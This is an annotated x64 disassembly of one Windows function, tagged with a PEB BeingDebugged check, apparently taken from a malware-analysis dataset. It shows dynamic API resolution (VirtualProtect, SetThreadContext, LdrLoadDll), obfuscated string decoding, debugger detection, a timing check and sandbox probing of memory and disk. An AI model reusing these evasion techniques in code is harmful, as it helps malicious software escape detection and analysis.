Function at 0x4070d0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
sub rsp, 0x38
movaps xmmword [rsp + 0x20], xmm6
mov eax, 0x10
mov r8, qword [rcx + 0x18]
mov r9, qword [r8 + 8]
test r9, r9
je 0x407098
mov rax, r9
add r9, 0xf
neg rax
and rax, r9
mov r10, rdx
imul r10, qword [r8]
jo 0x4070c4
add rax, r10
jo 0x4070c4
movq xmm6, rdx
mov rdx, rax
call fcn.00404110
punpcklqdq xmm6, xmm6
movups xmmword [rax], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
ret
call fcn.00406fd0
nop
nop word [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x30
mov rdx, qword [0x004384f0]
mov rax, qword [rdx]
cmp rax, 0xdab
jg 0x407c8d
mov rcx, qword [0x004384e0]
lea r8, [rax + 1]
lea rdi, [0x0040d3b0]
cmp r8, 0xdac
mov qword [rdx], r8
mov qword [rcx + rax*8], rdi
je 0x407c8d
lea rdi, [0x0040d3a0]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 2]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rsi, [0x0040d380]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 3]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rdi, [0x0040d370]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 4]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rsi, [0x0040d360]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 5]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rdi, [0x0040d2f0]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 6]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rsi, [0x0040d350]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 7]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rdi, [0x0040d340]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 8]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rsi, [0x0040d330]
mov qword [rcx + r8*8], rsi
lea r8, [rax + 9]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rdi, [0x0040d320]
mov qword [rcx + r8*8], rdi
lea r8, [rax + 0xa]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rbx, [0x0040d310]
mov qword [rcx + r8*8], rbx
lea r8, [rax + 0xb]
cmp r8, 0xdac
mov qword [rdx], r8
je 0x407c8d
lea rsi, [0x0040d300]
add rax, 0xc
mov qword [rdx], rax
mov rax, qword [0x00437fb0]
mov qword [rcx + r8*8], rsi
lea rcx, [0x0043b140]
call qword [rax]
mov eax, dword [0x0043b144]
cmp eax, 6
je 0x407940
cmp eax, 5
jg 0x40728c
mov rax, qword [0x004385e0]
mov dword [rax], 1
lea rcx, [0x00435a60]
mov edx, 0x3c3e94ac
call fcn.00404080
mov edx, 0x45e1a1cc
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b130]
mov rdx, rax
call fcn.00405cc0
mov rbx, qword [0x0043b128]
mov rcx, qword [0x0043b130]
call fcn.004020e0
test rbx, rbx
mov qword [0x0043b128], rax
je 0x4072f2
mov rax, qword [rbx - 0x10]
lea rdx, [rbx - 0x10]
sub rax, 8
cmp rax, 7
mov qword [rbx - 0x10], rax
jbe 0x407970
mov rcx, qword [0x004381c0]
mov edx, 0x19200
call fcn.00407070
mov r8d, 0x19200
lea rcx, [rax + 0x10]
mov rbx, rax
lea rdx, [0x0041c850]
call sub.msvcrt.dll_memcpy
mov rcx, qword [0x004384b0]
mov rdx, rbx
call fcn.00405cc0
mov rax, qword [0x004384b0]
xor edx, edx
mov rax, qword [rax]
test rax, rax
je 0x40733f
mov rdx, qword [rax]
mov rcx, qword [0x004381c0]
call fcn.00407070
lea rcx, [0x0043b120]
mov rdx, rax
call fcn.00405cc0
mov edx, 0x5be594a4
lea rcx, [0x0041c780]
call fcn.00404080
mov edx, 0x344e336c
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b118]
mov rdx, rax
call fcn.00405cc0
mov edx, 0x1b481f44
lea rcx, [0x0041c6e0]
call fcn.00404080
mov edx, 0x276c8f4c
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b110]
mov rdx, rax
call fcn.00405cc0
mov edx, 0x3689380c
lea rcx, [0x0041c640]
call fcn.00404080
mov edx, 0x5be594a4
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b108]
mov rdx, rax
call fcn.00405cc0
mov edx, 0x7b15b4ec
lea rcx, [0x0041c540]
call fcn.00404080
mov edx, 0x1b481f44
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b100]
mov rdx, rax
call fcn.00405cc0
lea rcx, [0x0041c520]
call fcn.00404d30
xor edx, edx
mov rcx, rax
call fcn.00404780
lea rdx, str.LdrLoadDll
mov rcx, rax
call fcn.00411030
mov rdx, qword [0x004380e0]
lea rcx, [0x0041c520]
mov qword [rdx], rax
call fcn.00404d30
xor edx, edx
mov rcx, rax
call fcn.00404780
lea rdx, str.RtlInitUnicodeString
mov rcx, rax
call fcn.00411030
mov rdx, qword [0x004380f0]
lea rcx, [0x0041c480]
mov qword [rdx], rax
mov edx, 0xc08ad8c
call fcn.00404080
mov edx, 0x70e50524
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b0f8]
mov rdx, rax
call fcn.00405cc0
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.GetCurrentProcessId
mov rcx, rax
call fcn.004113a0
mov qword [0x0043b0f0], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.VirtualProtect
mov rcx, rax
call fcn.004113a0
mov rdx, qword [0x00438110]
mov qword [rdx], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, [0x0041a172]
mov rcx, rax
call fcn.004113a0
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, [0x0041a17e]
mov rcx, rax
call fcn.004113a0
mov qword [0x0043b0e8], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.GetProcAddress
mov rcx, rax
call fcn.004113a0
lea rcx, [0x0041c520]
mov qword [0x0043b0e0], rax
call fcn.00404d30
mov rcx, rax
call fcn.00411710
lea rdx, str.RtlAddVectoredExceptionHandler
mov rcx, rax
call fcn.00411030
mov qword [0x0043b0d8], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.GetModuleHandleA
mov rcx, rax
call fcn.004113a0
mov qword [0x0043b0d0], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, [0x0041a1d0]
mov rcx, rax
call fcn.004113a0
mov qword [0x0043b0c8], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.SetThreadContext
mov rcx, rax
call fcn.004113a0
mov qword [0x0043b0c0], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.CloseHandle
mov rcx, rax
call fcn.004113a0
mov qword [0x0043b0b8], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.OpenThread
mov rcx, rax
call fcn.004113a0
mov qword [0x0043b0b0], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.GetCurrentThreadId
mov rcx, rax
call fcn.004113a0
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.WaitForSingleObject
mov rcx, rax
call fcn.004113a0
mov rdx, qword [0x00438120]
mov qword [rdx], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, [0x0041a230]
mov rcx, rax
call fcn.004113a0
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.Sleep
mov rcx, rax
call fcn.004113a0
mov rbx, qword [0x00438100]
mov qword [rbx], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.GetTickCount
mov rcx, rax
call fcn.004113a0
mov qword [0x0043b0a8], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.CreateFileA
mov rcx, rax
call fcn.004113a0
mov qword [0x0043b0a0], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.GetFileSize
mov rcx, rax
call fcn.004113a0
lea rcx, [0x0041c520]
mov qword [0x0043b098], rax
call fcn.00404d30
xor edx, edx
mov rcx, rax
call fcn.00404780
lea rdx, str.RtlAllocateHeap
mov rcx, rax
call fcn.00411030
mov qword [0x0043b090], rax
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.ReadFile
mov rcx, rax
call fcn.004113a0
mov rcx, qword [0x00438250]
mov edx, 0x431af304
mov qword [0x0043b088], rax
call fcn.00404080
mov edx, 0x39dcf28c
mov rcx, rax
call fcn.004042d0
mov rax, qword gs:[0x60]
cmp byte [rax + 2], 0
jne 0x407910
call qword [0x0043b0e8]
mov rsi, rax
call qword [0x0043b0e8]
cmp dword [rsi + 0x70], 2
jne 0x407990
mov eax, dword [rax + 0x74]
test eax, eax
jne 0x407990
call fcn.00405d10
test al, al
je 0x40785d
mov rax, qword [0x00437e60]
lea rdx, [0x00401550]
mov ecx, 1
call qword [rax]
mov rax, qword [0x00437e80]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x80000003
call qword [rax]
mov rax, qword [0x00437e70]
lea rcx, [0x00401550]
call qword [rax]
lea rcx, [0x0041c460]
mov edx, 0x4d6cb884
call fcn.00404080
xor ecx, ecx
mov rsi, rax
mov rax, qword [0x0043b130]
test rax, rax
je 0x40781b
mov rcx, qword [rax]
test rsi, rsi
je 0x407c70
add rcx, qword [rsi]
call fcn.00404290
mov rdx, qword [0x0043b130]
mov rdi, rax
test rdx, rdx
je 0x407843
mov rcx, rax
call fcn.0040fd40
mov rdx, rsi
mov rcx, rdi
call fcn.0040fd40
lea rcx, [0x0043b128]
mov rdx, rdi
call fcn.00405cc0
lea rcx, [0x0041c2e0]
mov edx, 0x1a8e9624
call fcn.00404080
mov edx, 0x31c17de4
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b080]
mov rdx, rax
call fcn.00405cc0
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.GetComputerNameExA
mov rcx, rax
call fcn.004113a0
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.GlobalMemoryStatusEx
mov rcx, rax
call fcn.004113a0
call fcn.0040fc80
mov rcx, rax
call fcn.00411710
lea rdx, str.GetDiskFreeSpaceExA
mov rcx, rax
call fcn.004113a0
call qword [0x0043b0a8]
mov ecx, 0x5dc
mov esi, eax
call qword [rbx]
call qword [0x0043b0a8]
sub eax, esi
cmp eax, 0x513
jg 0x4079a0
xor ecx, ecx
call sub.msvcrt.dll_exit
nop word [rax + rax]
lea rcx, [0x0041be80]
mov edx, 0x49c5bbe4
mov qword [rsp + 0x28], 0
call fcn.00404080
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x28], rax
call fcn.0040f8f0
xor ecx, ecx
call sub.msvcrt.dll_exit
mov eax, dword [0x0043b148]
cmp eax, 2
je 0x40727f
cmp eax, 3
je 0x40727f
test eax, eax
je 0x40727f
cmp eax, 1
je 0x40727f
jmp 0x40728c
mov rcx, qword [0x004384d0]
add rcx, 0x18
call fcn.00405c00
jmp 0x4072f2
mov ecx, 1
call sub.msvcrt.dll_exit
nop word [rax + rax]
lea rcx, [0x0041bea0]
mov edx, 0x689ad464
call fcn.00404080
xor ecx, ecx
mov rbx, rax
mov rax, qword [0x0043b128]
test rax, rax
je 0x4079c5
mov rcx, qword [rax]
test rbx, rbx
je 0x407c50
add rcx, qword [rbx]
call fcn.00404290
mov rdx, qword [0x0043b128]
mov rsi, rax
test rdx, rdx
je 0x4079ed
mov rcx, rax
call fcn.0040fd40
mov rdx, rbx
mov rcx, rsi
call fcn.0040fd40
lea rcx, [0x0043b128]
mov rdx, rsi
call fcn.00405cc0
mov edx, 0xfbc596c
lea rcx, [0x0041bf40]
call fcn.00404080
mov edx, 0x4f047824
mov rcx, rax
call fcn.004042d0
mov rcx, rax
call fcn.004059b0
mov rbx, qword [0x00437fc0]
mov rcx, rax
call qword [rbx]
lea rcx, [0x0041bf00]
mov edx, 0x71b6254c
call fcn.00404080
mov edx, 0x525e6ec4
mov rcx, rax
call fcn.004042d0
mov edx, 0x4dbcb6a4
lea rcx, [0x0041bec0]
mov rsi, rax
call fcn.00404080
mov edx, 0x6ea85e8c
mov rcx, rax
call fcn.004042d0
mov rcx, rsi
mov rdi, rax
call fcn.004059b0
mov rcx, rax
call qword [rbx]
cmp eax, 0xffffffff
je 0x407c30
mov rax, qword [0x00437fd0]
xor edx, edx
mov ecx, 0x1000
movabs r8, 0xffffffff1
call qword [rax]
test rax, rax
jne 0x407bb0
lea rcx, [0x0041c200]
mov edx, 0x9562e0c
call fcn.00404080
mov edx, 0x7f379704
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b078]
mov rdx, rax
call fcn.00405cc0
mov edx, 0x7dbe638c
lea rcx, [0x0041c1e0]
call fcn.00404080
mov edx, 0x741abee4
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0041a0a1]
test rax, rax
je 0x407b17
cmp qword [rax], 0
lea rdx, [rax + 0x10]
cmovne rcx, rdx
call qword [0x0043b0d0]
mov edx, 0x7eb6b564
lea rcx, [0x0041c1a0]
mov rbx, rax
call fcn.00404080
mov edx, 0x2a1a80ec
mov rcx, rax
call fcn.004042d0
lea rdx, [0x0041a0a1]
test rax, rax
je 0x407b56
cmp qword [rax], 0
lea rcx, [rax + 0x10]
cmovne rdx, rcx
mov rcx, rbx
call qword [0x0043b0e0]
mov qword [0x0043b070], rax
call fcn.00412230
call fcn.00412230
mov edx, 0x741abee4
lea rcx, [0x0041bfc0]
call fcn.00404080
mov edx, 0x5ed6ca6c
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b068]
mov rdx, rax
call fcn.00405cc0
nop
add rsp, 0x30
pop rbx
pop rsi
pop rdi
ret
lea rcx, [0x0041bfa0]
mov edx, 0x16b91144
call fcn.00404080
mov edx, 0x25357f6c
mov rcx, rax
call fcn.004042d0
lea rcx, [0x0043b130]
mov rdx, rax
call fcn.00405cc0
mov rbx, qword [0x0043b128]
mov rcx, qword [0x0043b130]
call fcn.004020e0
test rbx, rbx
mov qword [0x0043b128], rax
je 0x407ab4
mov rax, qword [rbx - 0x10]
lea rdx, [rbx - 0x10]
sub rax, 8
cmp rax, 7
mov qword [rbx - 0x10], rax
ja 0x407ab4
mov rcx, qword [0x004384d0]
add rcx, 0x18
call fcn.00405c00
jmp 0x407ab4
mov rcx, rdi
call fcn.004059b0
mov rcx, rax
call qword [rbx]
jmp 0x407a91
call fcn.00404290
mov rdx, qword [0x0043b128]
mov rsi, rax
test rdx, rdx
jne 0x4079f0
jmp 0x4079f8
call fcn.00404290
mov rdx, qword [0x0043b130]
mov rdi, rax
test rdx, rdx
jne 0x407846
jmp 0x40784e
call fcn.00401d20
nop
nop dword [rax]
nop word cs:[rax + rax]